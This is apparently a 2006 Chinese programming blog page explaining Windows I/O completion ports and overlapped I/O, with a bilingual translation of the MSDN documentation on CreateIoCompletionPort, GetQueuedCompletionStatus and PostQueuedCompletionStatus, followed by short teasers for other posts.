在工作线程的后面部分,等GetQueuedCompletionStatus函数返回了一个重叠结构(和完成键)后,便可通过撤消对OperationType成员的引用,调查到底是哪个操作投递到了这个句柄之上(只需将返回的重叠结构造型为自己的PER_IO_OPERATION_DATA结构)。对单I/O操作数据来说,它最大的一个优点便是允许我们在同一个句柄上,同时管理多个I/O操作(读/写,多个读,多个写,等等)。大家此时或许会产生这样的疑问:在同一个套接字上,真的有必要同时投递多个I/O操作吗?答案在于系统的“伸缩性”,或者说“扩展能力”。例如,假定我们的机器安装了多个中央处理器,每个处理器都在运行一个工作者线程,那么在同一个时
候,完全可能有几个不同的处理器在同一个套接字上,进行数据的收发操作。

最后要注意的一处细节是如何正确地关闭I/O完成端口—特别是同时运行了一个或多个线程,在几个不同的套接字上执行I/O操作的时候。要避免的一个重要问题是在进行重叠I/O操作的同时,强行释放一个OVERLAPPED结构。要想避免出现这种情况,最好的办法是针对每个套接字句柄,调用closesocket函数,任何尚未进行的重叠I/O操作都会完成。一旦所有套接字句柄都已关闭,便需在完成端口上,终止所有工作者线程的运行。要想做到这一点, 需要使用PostQueuedCompletionStatus函数,向每个工作者线程都发送一个特殊的完成数据包。该函数会指示每个线程都“立即结束并退出”。下面是PostQueuedCompletionStatus函数的定义:

BOOL PostQueuedCompletionStatus(
    HANDLE CompletionPort,
    DWORD dwNumberOfBytesTransferred,
    ULONG_PTR dwCompletionKey,
    LPOVERLAPPED lpOverlapped
);


其中,CompletionPort参数指定想向其发送一个完成数据包的完成端口对象。而就dwNumberOfBytesTransferred、dwCompletionKey和lpOverlapped这三个参数来说,每一个都允许我们指定一个值,直接传递给GetQueuedCompletionStatus函数中对应的参数。这样一来,一个工作者线程收到传递过来的三个GetQueuedCompletionStatus函数参数后,便可根据由这三个参数的某一个设置的特殊值,决定何时应该退出。例如,可用dwCompletionPort参数传递0值,而一个工作者线程会将其解释成中止指令。一旦所有工作者线程都已关闭,便可使用CloseHandle函数,关闭完成端口,最终安全退出程序。

注:CreateIoCompletionPort ,PostQueuedCompletionStatus ,GetQueuedCompletionStatus 等函数的用法说明。

Platform SDK: Storage

I/O Completion Ports

I/O completion ports are the mechanism by which an application uses a pool of threads that was created when the application was started to process asynchronous I/O requests. These threads are created for the sole purpose of processing I/O requests. Applications that process many concurrent asynchronous I/O requests can do so more quickly and efficiently by using I/O completion ports than by using creating threads at the time of the I/O request.

 

I/O完成端口(s)是一种机制,通过这个机制,应用程序在启动时会首先创建一个线程池,然后该应用程序使用线程池处理异步I/O请求。这些线程被创建的唯一目的就是用于处理I/O请求。对于处理大量并发异步I/O请求的应用程序来说,相比于在I/O请求发生时创建线程来说,使用完成端口(s)它就可以做的更快且更有效率。

 

The CreateIoCompletionPort function associates an I/O completion port with one or more file handles. When an asynchronous I/O operation started on a file handle associated with a completion port is completed, an I/O completion packet is queued to the port. This can be used to combine the synchronization point for multiple file handles into a single object.

 

CreateIoCompletionPort函数会使一个I/O完成端口与一个或多个文件句柄发生关联。当与一个完成端口相关的文件句柄上启动的异步I/O操作完成时,一个I/O完成包就会进入到该完成端口的队列中。对于多个文件句柄来说,就可以把这些多个文件句柄合并成一个单独的对象,这个可以被用来结合同步点?

 

A thread uses the GetQueuedCompletionStatus function to wait for a completion packet to be queued to the completion port, rather than waiting directly for the asynchronous I/O to complete. Threads that block their execution on a completion port are released in last-in-first-out (LIFO) order. This means that when a completion packet is queued to the completion port, the system releases the last thread to block its execution on the port.

调用GetQueuedCompletionStatus函数,某个线程就会等待一个完成包进入到完成端口的队列中,而不是直接等待异步I/O请求完成。线程(们)就会阻塞于它们的运行在完成端口(按照后进先出队列顺序的被释放)。这就意味着当一个完成包进入到完成端口的队列中时,系统会释放最近被阻塞在该完成端口的线程。

 

When a thread calls GetQueuedCompletionStatus, it is associated with the specified completion port until it exits, specifies a different completion port, or frees the completion port. A thread can be associated with at most one completion port.

调用GetQueuedCompletionStatus,线程就会将会与某个指定的完成端口建立联系,一直延续其该线程的存在周期,或被指定了不同的完成端口,或者释放了与完成端口的联系。一个线程只能与最多不超过一个的完成端口发生联系。

 

The most important property of a completion port is the concurrency value. The concurrency value of a completion port is specified when the completion port is created. This value limits the number of runnable threads associated with the completion port. When the total number of runnable threads associated with the completion port reaches the concurrency value, the system blocks the execution of any subsequent threads that specify the completion port until the number of runnable threads associated with the completion port drops below the concurrency value. The most efficient scenario occurs when there are completion packets waiting in the queue, but no waits can be satisfied because the port has reached its concurrency limit. In this case, when a running thread calls GetQueuedCompletionStatus, it will immediately pick up the queued completion packet. No context switches will occur, because the running thread is continually picking up completion packets and the other threads are unable to run.

完成端口最重要的特性就是并发量。完成端口的并发量可以在创建该完成端口时指定。该并发量限制了与该完成端口相关联的可运行线程的数目。当与该完成端口相关联的可运行线程的总数目达到了该并发量,系统就会阻塞任何与该完成端口相关联的后续线程的执行,直到与该完成端口相关联的可运行线程数目下降到小于该并发量为止。最有效的假想是发生在有完成包在队列中等待,而没有等待被满足,因为此时完成端口达到了其并发量的极限。此时,一个正在运行中的线程调用GetQueuedCompletionStatus时,它就会立刻从队列中取走该完成包。这样就不存在着环境的切换,因为该处于运行中的线程就会连续不断地从队列中取走完成包,而其他的线程就不能运行了。

 

span lang="EN-US" style="FONT-SIZE: 15pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt">The best value to pick for the concurrency value is the number of CPUs on the machine. If your transaction required a lengthy computation, a larger concurrency value will allow more threads to run. Each transaction will take longer to complete, but more transactions will be processed at the same time. It is easy to experiment with the concurrency value to achieve the best effect for your application.

对于并发量最好的挑选值就是您计算机中cpu的数目。如果您的事务处理需要一个漫长的计算时间,一个比较大的并发量可以允许更多线程来运行。虽然完成每个事务处理需要花费更长的时间,但更多的事务可以同时被处理。对于应用程序来说,很容易通过测试并发量来获得最好的效果。

 

The PostQueuedCompletionStatus function allows an application to queue its own special-purpose I/O completion packets to the completion port without starting an asynchronous I/O operation. This is useful for notifying worker threads of external events.

PostQueuedCompletionStatus函数允许应用程序可以针对自定义的专用I/O完成包进行排队,而无需启动一个异步I/O操作。这点对于通知外部事件的工作者线程来说很有用。

 

The completion port is freed when there are no more references to it. The completion port handle and every file handle associated with the completion port reference the completion port. All the handles must be closed to free the completion port. To close the port handle, call the CloseHandle function.

在没有更多的引用针对某个完成端口时,需要释放该完成端口。该完成端口句柄以及与该完成端口相关联的所有文件句柄都需要被释放。调用CloseHandle可以释放完成端口的句柄。


- 作者: shmilylff 2006年05月5日, 星期五 21:42  回复(1) |  引用(3) 加入博采

重叠I/O模型
当CPU执行你的代码时遇上一个I/O请求[诸如读写文件之类的],系统产生一个中断,让CPU去完成这个I/O请求,等到完成了以后,系统再次产生一个中断让原先的程序继续运行。也就说通过中断保持这两者间的同步。可以将终端理解为硬件化的信号量。
这就是所谓的同步概念,一个线程中只可能同时处理一个I/O请求
你要知道,一个I/O操作是非常耗时的,当你的代码挂起后等待I/O完成的这段时间内,你的这个线程浪费了N个指令周期。
如果同时要反复读写大文件,用同步的效率是很低的。

为了解决这个问题,当CPU执行你的代码时遇上一个I/O请求后,系统这是为你开一根内部线程去处理I/O请求,并且你的线程并不挂起,但你可能会觉得如果I/O还没完成,后续的代码就算他让我执行,我也执行不下去了嘛?
如果下面的代码和这个I/O操作有关的话,那么它就要等一等,等到这个I/O操作完成,通过在一个线程中调用WaitForMultiObject()和GetOverlappedResult()就可以得到I/O完成的消息,然后再对其作相应的处理。
但如果后续的代码和这个I/O操作无关,你就可以以更快的速度之行下去了,而无需等待IO请求的完成了
这也就是异步了

你想当你有这样一个请求,就是
ReadFile(...)                -1
WriteFile(...)               -2
ReadFile(...)                -3
你在程序中如果使用同步的话,那只有当你完成1以后2才会继续执行,2执行完以后3才会继续执行。这就是同步。

当如果使用异步的话,当系统遇到1时,OK,开一线程给它去完成该IO请求,然后系统继续运行2,3,分别开两线程。
1-2-3如果是比较耗时的操作,尤其是运用在网络上,那么1-2-3这三个IO请求是并行的,也就是重叠的。
重叠I/O就是能够同时以多个线程处理多个I/O,其实你自己开多个线程也可以处理多个I/O,当然系统内部优化以后肯定性能要比你的强,呵呵。

我只是简单的说了一下重叠[Overlapped]没从代码的角度给你分析。希望你能对重叠IO有所理解。看看Windows网络编程,上面不是有模型嘛
最后提一下重叠模型的缺点,他为每一个IO请求都开了一根线程,当同时有1000个请求发生,那么系统处理线程上下文[context]切换也是非常耗时的,所以这也就引发了完成端口模型IOCP,用线程池来解决这个问题,我就不多说了。

- 作者: shmilylff 2006年05月5日, 星期五 21:34  回复(3) |  引用(3) 加入博采

Windows Socket五种I/O模型——代码全攻略
摘要:Windows Socket五种I/O模型——代码全攻略 查看全文

- 作者: shmilylff 2006年05月5日, 星期五 20:53  回复(0) |  引用(3) 加入博采

一个中国黑客致中国黑客和红客的公开信
摘要:水平没到那个地步,没有发言的权力,仅仅转载此鼓励自己 查看全文

- 作者: shmilylff 2006年04月16日, 星期日 11:38  回复(2) |  引用(3) 加入博采

程序极品-只有4K 
摘要:What can I say? 查看全文

- 作者: shmilylff 2006年04月16日, 星期日 00:46  回复(3) |  引用(3) 加入博采